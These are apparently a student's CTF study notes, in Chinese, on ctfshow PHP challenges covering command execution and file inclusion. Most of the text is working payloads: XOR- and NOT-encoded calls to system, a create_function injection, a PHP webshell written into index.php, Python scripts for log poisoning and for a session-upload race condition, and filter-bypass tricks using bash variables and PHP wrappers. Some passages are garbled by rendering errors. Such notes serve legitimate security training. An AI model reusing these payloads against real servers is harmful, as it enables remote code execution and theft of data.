```php error_reporting(0); highlight_file(__FILE__); if(isset($_GET['v1'])){ $v1 = (String)$_GET['v1']; if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php"); } } ```
这个雀氏没啥难度,有一个检测v1是否为纯数字的,然后d=v1*6,再执行sleep(d)
解题思路十分明确,如果d的值不为0会延迟很久
**构造pay**
`v1=0`
## Web143(原笔记丢失,复习版)
```php <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-18 12:48:14
*/
highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
} } ```
本题是141的改编题,与141不同的是在正则匹配方面有所不同,**另外一点不同时在语句的连接上,141可以通过`;`来结束,v2不会被执行,该题过滤了`;`,所以需要通过运算符符号来连接v2**,并且需要修改一下python脚本
**(师傅们的脚本改编)**
**修改正则匹配部分:**
`preg = '[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;'`
**构造pay**
`?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")*`查看目录下文件
`?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%03%01%0b%00%06%0c%01%07%01%0f%08%0f"^"%60%60%7f%20%60%60%60%60%2f%7f%60%7f")*`查看flag.php内容
## Web144
```php <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-18 16:21:15
*/
highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
} }
function check($str){
return strlen($str)===1?true:false; } ```
该题是143的加强版,该题的大致思路是,第一次判断v1,v2, v3是否都为空,若都不为空则向下进行,然后判断v1是否为数字,v3传参至check()进行检测,如果v3的长度是1,则返回true,如果v1和v3均通过检测则对v2进行正则匹配,匹配与141的v3匹配相同
解题思路已经很明确了,eval()函数内执行语句顺序由v1v3v2变为v1v2v3只要将原来v3的值变为1,v2传入命令执行语句即可
**脚本沿用141**
**构造pay:**
`?v1=1&v2=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f");&v3=1`查看当前目录下文件
`?v1=1&v2=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%03%01%0b%00%06%0c%01%07%01%0f%08%0f"^"%60%60%7f%20%60%60%60%60%2f%7f%60%7f");&v3=1`查看flag.php文件内容
## Web145
```php <?php
/* \# -*- coding: utf-8 -*- \# @Author: h1xa \# @Date: 2020-10-13 11:25:09 \# @Last Modified by: h1xa \# @Last Modified time: 2020-10-18 17:41:33
*/
highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
} } } ```
该题是web141的plus,还是正则匹配有所不同,~~修改脚本正则匹配语句即可~~这里有些不同,异或需要的`^`也被过滤,所以异或脚本不能使用,猜测要使用取反
解题思路很明显了,需要使用取反脚本构造命令,目前能力无法编写
**师傅们的wp:**
思路没有错,因为异或被ban,能使用的只有取反(~),这里师傅给出了php的取反脚本
```php <?php fwrite(STDOUT,'[+]your function: '); $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); fwrite(STDOUT,'[+]your command: '); $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');'; ```
这里用到了fwrite与str_replace两个函数以及命令行输入输出流,
`输入输出流STDIN/STDOUT`:[(7条消息) php 获取命令参数错误,PHP命令行输入输出流STDIN/STDOUT/STDERR用法_何心秋的博客-CSDN博客](https://blog.csdn.net/weixin_32150027/article/details/115411257),STDOUT意为在命令行控制台中输出内容,STDIN意为在命令行控制台中输入内容,比如`fwrite(STDOUT,'[+]your function: ');`
执行效果是这样

system就是STDIN,接受从命令行控制台输入的内容,**注意:这里的fwrite仅仅起到提示作用,去掉其实并无大碍**
关于脚本还有一点是取反,php中通过get请求传参时是先对get请求的参数进行url解码再解读的,脚本中得出的结果虽然带有`%`,但实际上`%86`是一个字符(url解码后)
**本地复现(接上面脚本代码):**

**结果:**

这里复现的是php中的先url解码在解读流程,第一步解码后并不存在正则匹配中的字符,在eval函数进行取反后就会变为`system`
**构造pay:**
`?v1=1&v2=1&v3=?v1=1&v2=2&v3=|(~%8C%86%8C%8B%9A%92)(~%93%8C)|`查看当前目录下文件
`?v1=1&v2=1&v3=?v1=1&v2=2&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)|`查看flag.php文件内容
## Web146
```php <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-18 17:41:33
*/
highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
} } ```
和146没有区别,146pay打通
## Web147
```php <?php
/* \# -*- coding: utf-8 -*- \# @Author: h1xa \# @Date: 2020-10-13 11:25:09 \# @Last Modified by: h1xa \# @Last Modified time: 2020-10-19 02:04:38
*/
highlight_file(__FILE__);
if(isset($_POST['ctf'])){ $ctfshow = $_POST['ctf']; if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']); }
} ```
大致步骤是先检测POST传入的ctf是否为空,若不为空则将传入的值赋给ctfshow,再对ctfshow的值进行正则匹配,如果没有匹配到就会执行`$ctfshow('',$_GET['show']);`
解题思路在我解这道题的时候没有(rce方面)
**师傅们的wp:**
这里要用到`create_function()`函数
```string create_function ( string args , string args , string code )
string $args 变量部分 string $code 方法代码部分 ```
师傅的想法是利用`create_function()`函数构造代码执行

用这种方法构造出我们想要的命令执行语句,**另外师傅是用`\`绕过了正则表达式,这里找不到相关知识**,在php中`\`的意思代表了默认命名空间
```php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径; 而如果是\function_name()这样的形式去调用函数,则是表示写了一个绝对路径。 如果你在其他namespace里调用系统类,必须使用绝对路径的写法 ```
该方法不会被正则匹配到
**构造pay**
`?show=echo 123;}system("tac flag.php");//`
post:`ctf=\create_function`
## Web148
```php <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 03:52:11
*/
include 'flag.php'; if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
die("error");
}
@eval($code); } else{
highlight_file(__FILE__); }
function get_ctfshow_fl0g(){
echo file_get_contents("flag.php"); } ```
大致步骤是先判断通过get方式传入的code的值是否为空,如果不为空则将值赋给code,在进行正则匹配,如果code被正则匹配到了,就结束并输出error,如果没有被匹配到,就会用eval函数执行code函数内的语句
这里被下面的`function get_ctfshow_fl0g()`给误解了
这道题考点是**"变量"**,但是目前的知识体系内没有相关知识..
**师傅们的wp:**
是可以用直接用异或~~或者取反~~(取反需要的`~`被ban掉了)通过的,修改下141脚本构造即可
**修改的部分**

**构造pay**:
`?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%0c%08"^"%60%7b");`查看文件目录
`?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%0c%01%07%01%0b%08%0b"^"%7d%60%60%21%60%60%60%60%2f%7b%60%7b");`查看flag.php文件内容
## Web149
```php error_reporting(0); highlight_file(__FILE__);
$files = scandir('./'); foreach($files as $file) { if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
} } }
file_put_contents($_GET['ctf'], $_POST['show']);
$files = scandir('./'); foreach($files as $file) { if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
} } } ```
大致步骤是①file的值是当前目录下所有文件名组成的数组,然后每一次foreach函数遍历时把file内的文件名赋给file,并进行判断,如果file的值是个文件,会判断是否为index.php,如果不为index.php就会删除这个文件,②循环外的是一个`file_put_contents($_GET['ctf'], $_POST['show']);`,目前猜测是将POST传入的show值写入GET传入的ctf中,然后进行与①相同的步骤
**新出现的函数:**
`foreach`:遍历数组
```php foreach (iterable_expression as $value) 第一种用法,把当前单元的值赋给value
statement foreach (iterable_expression as $key => $value) 第二种用法,把当前单元的值,包括键值赋给value
statement ```
`unlink`:删除文件
```php unlink(string `$filename`, resource `$context` = ?): bool 参数 filename 文件的路径。
context 注意: 在 PHP 5.0.0 中增加了对上下文(Context)的支持。有关上下文(Context)的说明参见 Streams。
返回值 成功时返回 true, 或者在失败时返回 false。 ```
`scandir`:列出指定路径中的文件和目录
```php scandir(string $directory, int $sorting_order = ?, resource $context = ?): array 返回一个 array,包含有 directory 中的文件和目录。
参数 directory 要被浏览的目录
sorting_order 默认的排序顺序是按字母升序排列。如果使用了可选参数 sorting_order(设为 1),则排序顺序是按字母降序排列。
context context 参数的说明见手册中的 Streams API 一章。
返回值 成功则返回包含有文件名的 array,如果失败则返回 false。如果 directory 不是个目录,则返回布尔值 false 并生成一条 E_WARNING 级的错误。 ```
解题思路已经很明确了,两个循环会不断查找并删除不为index.php的文件,关键是要在除index.php其余文件被删除前查看并输出flag
新函数过多,目前知识不够
**师傅们的wp:**
这里师傅指出了`file_put_contents($_GET['ctf'], $_POST['show']);`作为切入点,该函数可以将POST传入的show的值写入GET传入的ctf的值中,师傅们的思路是在index.php中写入我们的一句话木马,然后利用这一点进行命令执行
**师傅们的pay:**
`?ctf=index.php` POST:`show=<?php @eval($_POST['baiwu']);?>`**绝了**:因为使用的学校服务器waf对80端口进行了监控,导致不能传入`eval`,如果是连接服务器网络的情况下需要将`eval`换为`system`
**被学校拦截后总结出的pay(群主yyds)**:
GET:``?ctf=index.php`
POST:`show=<?php @system($_POST['baiwu']);?>`这里`$_POST['baiwu']`是可以写为`$_POST[baiwu]`的,没有影响
然后post:`baiwu=命令;`
**不被拦截的pay:**
GET:``?ctf=index.php`
POST:`show=<?php @eval($_POST['baiwu']);?>`这里`$_POST['baiwu']`是可以写为`$_POST[baiwu]`,没有影响
然后post:`baiwu=system("命令");`
## Web150
```php include("flag.php"); error_reporting(0); highlight_file(__FILE__);
class CTFSHOW{ private $username; private $password; private $vip; private $secret;
function __construct(){
$this->vip = 0;
$this->secret = $flag; }
function __destruct(){
echo $this->secret; }
public function isVIP(){
return $this->vip?TRUE:FALSE;
} }
function __autoload($class){
if(isset($class)){
$class(); } }
\#过滤字符 $key = $_SERVER['QUERY_STRING']; if(preg_match('/\_| |\[|\]|\?/', $key)){ die("error"); } $ctf = $_POST['ctf']; extract($_GET); if(class_exists($__CTFSHOW__)){ echo "class is exists!"; }
if($isVIP && strrpos($ctf, ":")===FALSE){ include($ctf); } ```
好家伙,真的长,大致上是有一个CTFSHOW类,有很多私有变量和公有函数,`$key`值等于`$_SERVER['QUERY_STRING']`获取到的值,对key尽进行正则匹配,如果匹配到了,则结束并返回error,如果没有匹配到则将post传入的ctf的值赋给ctf,之后对get传入的值进行变量覆盖,再检查$__CTFSHOW__这一变量的类是否已经定义,如果已经定义则会返回class is exists!,还有一个判断是调用isVIP进行判断,如果isVIP的值为true并且strrpos函数对ctf进行匹配没有匹配到`:`,则对$ctf进行包含
**函数**
`class_exists`:检查类是否已定义
```php class_exists(string $class, bool $autoload = true): bool 检查指定的类是否已定义。
参数 class 类名。名字的匹配是不分区大小写的。
autoload 是否默认调用 __autoload。
返回值 如果由 class 所指的类已经定义,此函数返回 true,否则返回 false。 ```
`strrpos`:计算指定字符串在目标字符串中最后一次出现的位置
```php strrpos(string $haystack, string $needle, int $offset = 0): int 返回字符串 haystack 中 needle 最后一次出现的数字位置。注意 PHP4 中,needle 只能为单个字符。如果 needle 被指定为一个字符串,那么将仅使用第一个字符。
参数 haystack 在此字符串中进行查找。
needle 如果 needle不是一个字符串,它将被转换为整型并被视为字符的顺序值。
offset 或许会查找字符串中任意长度的子字符串。负数值将导致查找在字符串结尾处开始的计数位置处结束。
返回值 返回 needle 存在的位置。如果没有找到,返回 false ```
`include`:语句包含并运行指定文件
```php 被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照 include_path 指定的目录寻找。如果在 include_path 下没找到该文件则 include 最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则 include 结构会发出一条警告;这一点和 require 不同,后者会发出一个致命错误。
如果定义了路径——不管是绝对路径(在 Windows 下以盘符或者 \ 开头,在 Unix/Linux 下以 / 开头)还是当前目录的相对路径(以 . 或者 .. 开头)——include_path 都会被完全忽略。例如一个文件以 ../ 开头,则解析器会在当前目录的父目录下寻找该文件。 ```
解题思路(个人得出),构造出可以输出` flag.php `的pay,并将`$this->vip`的值传为1
~~我想传入$_GET[ctf]这种类型的数组,但是key会获取全部传入的值,必然会被检测到,这里我们尝试异或,结果是无反应~~
~~尝试在ctf上找突破点,ctf中不能含有`:`,同时$isVIP的值要为1~~
~~解题思路突然就有了~~
~~通过extrace对ctf进行赋值,但是对ctf的检测始终不能绕过~~这里思路有一个严重问题,isVIP其实可以直接GET传参的...
**师傅们的wp:**
这里使用的是文件包含的非预期解
师傅给出的思路是先在UA头中传入

然后`?isVIP=1`
POST:`ctf=/var/log/nginx/access.log&1=system("cat flag.php");`
**师傅的脚本**:
```python
#-- coding: utf-8 --
#@Time : 2021/10/11 18:53
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : 日止包含.py
#@Software: PyCharm
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/3/7 11:50
# blog: www.wlhhlc.top import requests
url = "http://1ac13304-bfa1-416e-bd77-9bee096e44a9.challenge.ctf.show:8080/"
+ "?isVIP=1" headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0<?php @eval($_POST[dotast]);?>' } data = {
'ctf': '/var/log/nginx/access.log',
'dotast':'system("cat flag.php");' } result = requests.post(url=url, headers=headers, data=data) print(result.text) ```
## Web151
```php <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 07:12:57
*/ include("flag.php"); error_reporting(0); highlight_file(__FILE__);
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;
function __construct(){
$this->vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
} }
#过滤字符 $key = $_SERVER['QUERY_STRING']; if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error"); } $ctf = $_POST['ctf']; extract($_GET); if(class_exists($__CTFSHOW__)){
echo "class is exists!"; }
if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
include($ctf); }
上个wp看过头了,,,看到这道题的wp了,这里ctf过滤了log,不能再使用日志包含
师傅是真的强:(session包含要复习)
还是上题的脚本,不过需要稍作修改
修改后的脚本:
#-- coding: utf-8 --
#@Time : 2021/10/11 19:07
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : session包含.py
#@Software: PyCharm
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/3/7 14:57
# blog: www.wlhhlc.top import io import requests import threading url = 'http://deeea6a5-6de7-4de7-bfa9-853fb52c7ed2.challenge.ctf.show:8080/'
def write(session):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>'
}
while True:
f = io.BytesIO(b'a' * 1024 * 10)
response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)}) def read(session):
data = {
'ctf':'/tmp/sess_flag'
}
while True:
response = session.post(url+'?isVIP=1',data=data)
if 'ctfshow' in response.text:
print(response.text)
break
else:
print('retry')
if __name__ == '__main__':
session = requests.session()
for i in range(30):
threading.Thread(target=write, args=(session,)).start()
for i in range(30):
threading.Thread(target=read, args=(session,)).start() ```
## PHP特性函数总结
```intval函数 详细说明https://www.runoob.com/php/php-intval-function.html 可能用到的点1.数组可以绕过2.只能识别整数 ```
```preg_match()正则匹配函数 比如 preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){ /i 表示匹配的时候不区分大小写
/m 表示多行匹配,什么是多行匹配呢?就是匹配换行符两端的潜在匹配。影响正则中的^$符号 ```
```如果是命令执行的话最后可能会有eval函数等函数 ```
```PHP Reflection API是PHP5才有的新功能,它是用来导出或提取出关于类、方法、属性、参数等的详细信息,包括注释。 $class = new ReflectionClass(‘ctfshow’); // 建立 Person这个类的反射类 $instance = $class->newInstanceArgs($args); // 相当于实例化ctfshow类 ```
# 命令执行
## Web29

过滤flag的命令执行,构造pay=/?c=system('ls')

存在flag.php,但是过滤了flag,尝试用fla*绕过

## Web30

这里过滤了system,上一题的命令不能直接用,这里用模糊搜索(通配符绕过)
```pay=/?c=echo `tac *`; ```
注意这里tac和*有空格,并且不是单引号,是反引号
## Web31

多过滤了一个空格,再上题的基础上用%09替代空格即可,%20不知道为啥不能用,可能是因为get传参加了一次url编码的缘故。。
## Web32

这里把echo也过滤了,反引号也不能用,用其他方法,include或者require
```?c=include$_POST[a]?>
post:a=php://filter/read=convert.base64-encode/resource=flag.php ```
相关知识在总结里
## Web33

这次把双引号也过滤了,但不影响,使用上一题pay
## Web34

上一题pay打通
## Web35

多过滤了=和<,还是可以用原py直接过
## Web36
wp里一直是用同一个pay,那应该题目原本的意图不是这样,
## Web37
## Web42

这里多了一个
/dev/null 2>&1 ```
这会令第一个>前面的所有内容无效,详细的知识点在总结里
这里要用命令分隔符,也在总结里
最后的pay为?c=ls;
?c=tac flag.php;
Web43

过滤了cat和;不过没关系,我们换||绕过
Web44

这里多过滤了一个flag,*号绕过即可
Web45

这里过滤了空格,用%09绕过即可,不能用%20
Web46

过滤了0-9,*,所以我们改为?进行通配空格还是用%09代替
Web48
过滤项和pay无关,用原pay绕过即可
Web49

这里把%过滤了,可以用<替代,但是<不能和?连用,这里两个单引号’'作为分隔符
pay=?c=tac<fla''g.php||
Web50

这里过滤了x09和x26,ascii绕过不能用了,用上一题pay打通
pay=?c=tac<fla''g.php||
Web51
多过滤了一个tac,用’'分隔绕过即可
Web52

这里把<过滤了,用$IFS/替代,注意这里tac的不是flag.php,是flag
Web53

过滤回显,去掉命令分隔符||
pay=?c=ta''c$IFS\fla?.php 这里$IFS后接\不是/
Web54

这次过滤了字符串中单个字母,不能用/分割,换grep命令执行
pay=?c=grep$IFS\show$IFS\fla?.php
Web58

这次是用post方法,尝试system命令,提示不能使用,这里提示是用show_source函数,相关知识在总结里
POST:pay=c=show_source("flag.php");
Web59
有丶迷惑,和上题一样
Web60
上题pay通
Web61Web62Web63Web64Web65
全部都是用show_source函数
Web66
这次过滤了show_source函数,使用highlight_file($filename)函数,另外这次文件不在flag.php中,在flag.txt中
pay=c=print_r(scandir("/"));
pay=c=highlight_file("/flag.txt");
Web67
这次print_r函数被禁用,用var_dump函数
pay=c=var_dump(scandir("/"));打印目录
pay=c=highlight_file("/flag.txt");
Web68
这里
这里应该是直接把highlight_file函数禁用了,var_dump查看目录发现还是flag.txt,用include函数
pay=c=include("/flag.txt");
Web69
过滤了var_dump,换 d = o p e n d i r ( " . " ) ; w h i l e ( f a l s e ! = = ( d=opendir(".");while(false!==( d=opendir(".");while(false!==(f=readdir(KaTeX parse error: Expected '}', got 'EOF' at end of input: d))){echo"f\n";}查看目录
目录显示存在flag.php,但是include提示字节过大,查看flag.txt出现flag
Web70
flag.php打开失败,尝试flag.txt成功
Web76

这里用到open_basedir选项,相关知识在总结里
pay=c= a = n e w D i r e c t o r y I t e r a t o r ( ′ g l o b : / / / ∗ ′ ) ; f o r e a c h ( a=new DirectoryIterator('glob:///*');foreach( a=newDirectoryIterator(′glob:///∗′);foreach(a as KaTeX parse error: Expected '}', got 'EOF' at end of input: f){echo(f->__toString()." ");};exit
>getMessage();exit(0);}exit(0); bp抓包后url编码发包,注意这里url编码后不能有空格,要连在一起 ```
## Web77

先读取目录,发现在flag36x.txt里

尝试用load_file函数,但是无法显示
wp里用ffi,这是php7.4版本以上才有的
```c=?><?php $ffi = FFI::cdef("int system(const char
*command);");$ffi->system("/readflag >flag.txt");exit(); 这里是将readflag写入flag.txt中,再访问flag.txt就可以了 ```

## Web118
补充知识,BASH内置变量
[常见 Bash 内置变量介绍 - sparkdev - 博客园 (cnblogs.com)](https://www.cnblogs.com/sparkdev/p/9934595.html#title_0)
题目打开后是这样

查看源码后发现是system($code),并且题目提示flag在flag.php里,这里用到bash的相关知识,并且要用nl命令
这里只能用大写字母和{},$等符号
```网站目录是在var/www/html 而${PATH:~A}返回的是目录bin的最后一个字符,即n ${PWD:~A}返回的是当前目录最后一个字符,即l ${PATH:~A}${PWD:~A}构造出nl flag.php用通配符匹配????.??? pay=${PATH:~A}${PWD:~A} ????.??? ```
## Web119
这次把PATH过滤了,WP推荐的是用cat
${PWD:0:1},返回的是当前目录第(0+1)个字符
```${PWD::{#SHLVL}} ${#SHLVL}返回的是${SHLVL}的位数,${SHLVL}返回的是当前shell(终端的数),打开一个就是1 ${#XXX} 返回的是XXX的位数,比如${#SHLVL}返回的就是1 ${RANDOM} LINUX下$RANDOM返回的一般是4,5,3这几个数,并且4的频率较高,用来代替4 bin和base6用?代替${PWD::{#SHLVL}}????? pay=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.??? pay=${PWD::{#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.??? ```
这里因为RANDOM的原因,要多次尝试,因为不一定是4
## Web120
阴间题目。。
打开后是直接是php代码

这里限制了code的长度要小于66,POST传参
```pay=code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.??? ```
然后查看源码即可,flag在源码最下面
## Web121

这次把最关键的SHLVL过滤了,UESR也被过滤,不能构成cat,这里构造rev取反
```这里我们可以用${IFS}和${#}分别替代
${#IFS}在ubuntu等系统中值为3,我在kali中测试值为4
${#}为添加到shell的参数个数,${##}则为值,经测试,kali下${#}为0,##为1 ```
```构造pay=code=${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.??? ```
## Web122

寄了,PWD也被禁了
这里因为${#}不能用了,用$?来代替作为1
```$? 最后运行的命令的结束代码(返回值)即执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误) ```
```${HOME::1}返回/ ${#RANDOM}返回4或3或5 <A;报错,使$?返回1 pay=code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.??? ```
## Web124(当做一个检测题吧)
相关知识()
[PHP Math 函数 (w3school.com.cn)](https://www.w3school.com.cn/php/php_ref_math.asp)
## 命令执行总结
1.cat是读取文件并正序打印,tac是读取文件并逆序打印
2.碰到屏蔽了某一字符串的情况可以尝试用来匹配,比如fla 这里*就是通配符
3.另一种读取文件命令grep,比如grep flag flag.php,作用是找到flag.php中含有flag的那一行并打印出来 ```
通配符详解(主要是*和?)
include和require区别
PHP 中 include 和 require 的区别详解 | 菜鸟教程 (runoob.com)
关于php://filter简单理解
open_basedir选项
PHP 配置文件中open_basedir选项作用 - 追忆-php - 博客园 (cnblogs.com)
> /dev/null 2> &1” ```
```1:> 代表重定向到哪里,例如:echo “123” > /home/123.txt 2:/dev/null 代表空设备文件 3:2> 表示stderr标准错误 4:& 表示等同于的意思,2>&1,表示2的输出重定向等同于1 5:1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于 “1>/dev/null” 因此,>/dev/null 2>&1 也可以写成“1> /dev/null 2> &1”
那么本文标题的语句执行过程为: 1>/dev/null :首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,也就是不显示任何信息。 2>&1 : 接着,标准错误输出重定向到标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。 ```
命令分隔符
[命令执行分隔符辨析 - ShadonSniper - 博客园 (cnblogs.com)](https://www.cnblogs.com/hiccup/p/5423976.html)
空格替代
```%20(有些可用有些不可用)%09(get传参时可以绕过数字过滤) <
> $IFS(使用时依情况加入/或\,一般情况下使用\) ```
注意,如果使用ascii码绕过,0x09需要写为x09

分隔符
```'' ```
show_source函数
[PHP show_source() 函数 (w3school.com.cn)](https://www.w3school.com.cn/php/func_misc_show_source.asp)
一些文件读取方法
```highlight_file($filename); show_source($filename); print_r(php_strip_whitespace($filename)); print_r(file_get_contents($filename)); readfile($filename); print_r(file($filename)); // var_dump fread(fopen($filename,"r"), $size); include($filename); // include_once($filename); // 非php代码 require($filename); // require_once($filename); // 非php代码 print_r(fread(popen("cat flag", "r"), $size)); print_r(fgets(fopen($filename, "r"))); // 读取一行 fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF print_r(fgetcsv(fopen($filename,"r"), $size)); print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记 print_r(fscanf(fopen("flag", "r"),"%s")); print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组 print_r(scandir("/"));打印目录 var_dump(scandir("/"));打印目录 ```
读取目录的几种方法
```print_r(glob("*")); // 列当前目录 print_r(glob("/*")); // 列根目录 print_r(scandir(".")); print_r(scandir("/")); $d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";} $d=dir(".");while(false!==($f=$d->read())){echo$f."\n";} $a=glob("/*");foreach($a as $value){echo $value." ";} $a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");} ```
常见bash内置变量
[常见 Bash 内置变量介绍 - sparkdev - 博客园 (cnblogs.com)](https://www.cnblogs.com/sparkdev/p/9934595.html#title_0)
# 文件包含
## Web78
用php伪协议过
```?file=php://filter/convert.base64-encode/resource=flag.php convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。 通过传递这个参数可以得到index.php的源码,下面说说为什么,看到源码中的include函数,这个表示从外部引入php文件并执行,如果执行不成功,就返回文件的源码。
而include的内容是由用户控制的,所以通过我们传递的file参数,是include()函数引入了index.php的base64编码格式,因为是base64编码格式,所以执行不成功,返回源码,所以我们得到了源码的base64格式,解码即可。 ```
## Web79
这里用php://filter和data://text都行,这里用data伪协议
```?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= ```
## Web80()

过滤了php和data,php大小写绕过不可用,这里访问日志目录

这里不能抓包,最好用hackbar来做,先用,UA传入包含点,再用包含点传入命令,获得flag
注意,这里一定要先用UA传包含点,POST再传,一起传会出错


## Web80(复习版)
**脚本跑**
```python
#-- coding: utf-8 --
#@Time : 2021/10/11 18:53
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : 日止包含.py
#@Software: PyCharm
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/3/7 11:50
# blog: www.wlhhlc.top import requests
url = "http://26c00f63-0c16-4a76-b113-f7955327c9d2.challenge.ctf.show:8080/"+'?file=/var/log/nginx/access.log' headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0<?php @system($_POST[baiwu]);?>' } data = {
'baiwu': "cat fl0g.php;" }
result = requests.post(url=url, headers=headers, data=data) print(result.text) ```
## Web81
ybb,这个和web80一样,好像有什么大病
失误一步就做不出来,寄,方法和80一样
## Web82(session包含)
session包含,这种题一直不是很会,相关知识在总结里
用到竞争,脚本啊...
脚本如下:
#-- coding:UTF-8 –
Author:dota_st
Date:2021/2/20 23:51
blog: www.wlhhlc.top import io import requests import threading url = ‘http://6b6b581d-1b41-420c-80d0-427067e8d236.challenge.ctf.show:8080/’
def write(session):
data = {
‘PHP_SESSION_UPLOAD_PROGRESS’: ‘<?php system("tac f*");?>dotast’
}
while True:
f = io.BytesIO(b’a’ * 1024 * 10)
